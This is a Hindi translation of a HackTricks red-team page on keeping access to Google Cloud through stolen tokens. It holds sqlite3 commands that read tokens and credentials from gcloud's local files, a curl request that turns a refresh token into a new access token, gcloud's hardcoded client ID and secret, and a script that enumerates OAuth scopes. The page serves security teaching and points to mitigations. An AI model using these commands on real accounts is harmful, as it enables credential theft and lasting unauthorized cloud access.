GCP - Token Persistence
Reading time: 6 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।
प्रमाणित उपयोगकर्ता टोकन
किसी उपयोगकर्ता का वर्तमान टोकन प्राप्त करने के लिए आप चला सकते हैं:
sqlite3 $HOME/.config/gcloud/access_tokens.db "select access_token from access_tokens where account_id='<email>';"
इस पृष्ठ पर देखें कि gcloud का उपयोग करके इस टोकन का सीधे उपयोग कैसे करें:
नया एक्सेस टोकन उत्पन्न करने के लिए विवरण प्राप्त करने के लिए चलाएँ:
sqlite3 $HOME/.config/gcloud/credentials.db "select value from credentials where account_id='<email>';"
यह भी संभव है कि $HOME/.config/gcloud/application_default_credentials.json
और $HOME/.config/gcloud/legacy_credentials/*/adc.json
में रिफ्रेश टोकन पाए जाएं।
एक नया रिफ्रेश किया गया एक्सेस टोकन प्राप्त करने के लिए refresh token, क्लाइंट आईडी, और क्लाइंट सीक्रेट के साथ चलाएं:
curl -s --data client_id=<client_id> --data client_secret=<client_secret> --data grant_type=refresh_token --data refresh_token=<refresh_token> --data scope="https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/accounts.reauth" https://www.googleapis.com/oauth2/v4/token
Admin > Security > Google Cloud session control में रिफ्रेश टोकन की वैधता को प्रबंधित किया जा सकता है, और डिफ़ॉल्ट रूप से इसे 16 घंटे पर सेट किया गया है, हालांकि इसे कभी समाप्त न होने के लिए सेट किया जा सकता है:
.png)
Auth flow
जब gcloud auth login
जैसे कुछ का उपयोग करते समय प्रमाणीकरण प्रवाह एक ब्राउज़र में एक प्रॉम्प्ट खोलेगा और सभी स्कोप को स्वीकार करने के बाद ब्राउज़र इस तरह का एक अनुरोध उपकरण द्वारा खोले गए http पोर्ट पर भेजेगा:
/?state=EN5AK1GxwrEKgKog9ANBm0qDwWByYO&code=4/0AeaYSHCllDzZCAt2IlNWjMHqr4XKOuNuhOL-TM541gv-F6WOUsbwXiUgMYvo4Fg0NGzV9A&scope=email%20openid%20https://www.googleapis.com/auth/userinfo.email%20https://www.googleapis.com/auth/cloud-platform%20https://www.googleapis.com/auth/appengine.admin%20https://www.googleapis.com/auth/sqlservice.login%20https://www.googleapis.com/auth/compute%20https://www.googleapis.com/auth/accounts.reauth&authuser=0&prompt=consent HTTP/1.1
फिर, gcloud एक कुछ हार्डकोडेड client_id
(32555940559.apps.googleusercontent.com
) और client_secret
(ZmssLNjJy2998hD4CTg2ejr2
) के साथ स्थिति और कोड का उपयोग करके अंतिम रिफ्रेश टोकन डेटा प्राप्त करेगा।
caution
ध्यान दें कि localhost के साथ संचार HTTP में है, इसलिए डेटा को इंटरसेप्ट करना संभव है ताकि एक रिफ्रेश टोकन प्राप्त किया जा सके, हालाँकि यह डेटा केवल 1 बार के लिए मान्य है, इसलिए यह बेकार होगा, इसे फ़ाइल से रिफ्रेश टोकन पढ़ना आसान है।
OAuth Scopes
आप सभी Google स्कोप https://developers.google.com/identity/protocols/oauth2/scopes पर पा सकते हैं या उन्हें निष्पादित करके प्राप्त कर सकते हैं:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-A/\-\._]*' | sort -u
यह स्क्रिप्ट यह देखने की अनुमति देती है कि gcloud
द्वारा प्रमाणीकरण के लिए उपयोग किए जाने वाले एप्लिकेशन के लिए कौन से स्कोप समर्थित हैं:
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -v "https://accounts.google.com/o/oauth2/auth?response_type=code&client_id=32555940559.apps.googleusercontent.com&redirect_uri=http%3A%2F%2Flocalhost%3A8085%2F&scope=openid+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fuserinfo.email+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcloud-platform+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fappengine.admin+$scope+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fsqlservice.login+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Fcompute+https%3A%2F%2Fwww.googleapis.com%2Fauth%2Faccounts.reauth&state=AjvFqBW5XNIw3VADagy5pvUSPraLQu&access_type=offline&code_challenge=IOk5F08WLn5xYPGRAHP9CTGHbLFDUElsP551ni2leN4&code_challenge_method=S256" 2>&1 | grep -q "error"; then
echo ""
echo $scope
fi
done
इसे निष्पादित करने के बाद यह जांचा गया कि यह ऐप इन स्कोप का समर्थन करता है:
https://www.googleapis.com/auth/appengine.admin
https://www.googleapis.com/auth/bigquery
https://www.googleapis.com/auth/cloud-platform
https://www.googleapis.com/auth/compute
https://www.googleapis.com/auth/devstorage.full_control
https://www.googleapis.com/auth/drive
https://www.googleapis.com/auth/userinfo.email
यह देखना दिलचस्प है कि यह ऐप drive
स्कोप का समर्थन करता है, जो एक उपयोगकर्ता को GCP से Workspace में बढ़ाने की अनुमति दे सकता है यदि एक हमलावर उपयोगकर्ता को इस स्कोप के साथ एक टोकन उत्पन्न करने के लिए मजबूर करने में सफल हो जाता है।
यहां देखें कि कैसे इसका दुरुपयोग करें।
सेवा खाते
जैसे कि प्रमाणित उपयोगकर्ताओं के साथ, यदि आप एक सेवा खाते की निजी कुंजी फ़ाइल को समझौता कर लेते हैं, तो आप इसे आम तौर पर जितना चाहें उतना एक्सेस कर सकेंगे।
हालांकि, यदि आप एक सेवा खाते का OAuth टोकन चुरा लेते हैं, तो यह और भी दिलचस्प हो सकता है, क्योंकि, भले ही डिफ़ॉल्ट रूप से ये टोकन केवल एक घंटे के लिए उपयोगी होते हैं, यदि पीड़ित निजी एपीआई कुंजी को हटा देता है, तो OAuh टोकन तब तक मान्य रहेगा जब तक कि यह समाप्त नहीं हो जाता।
मेटाडेटा
स्पष्ट रूप से, जब तक आप GCP वातावरण में चल रही मशीन के अंदर हैं, आप उस मशीन से जुड़े सेवा खाते तक पहुँच प्राप्त कर सकेंगे, जो मेटाडेटा एंडपॉइंट से संपर्क करके। (ध्यान दें कि इस एंडपॉइंट में आप जो Oauth टोकन एक्सेस कर सकते हैं, वे आमतौर पर स्कोप द्वारा प्रतिबंधित होते हैं)।
सुधार
इन तकनीकों के लिए कुछ सुधार https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2 में समझाए गए हैं।
संदर्भ
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-1
- https://www.netskope.com/blog/gcp-oauth-token-hijacking-in-google-cloud-part-2
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें, PRs को HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में सबमिट करके।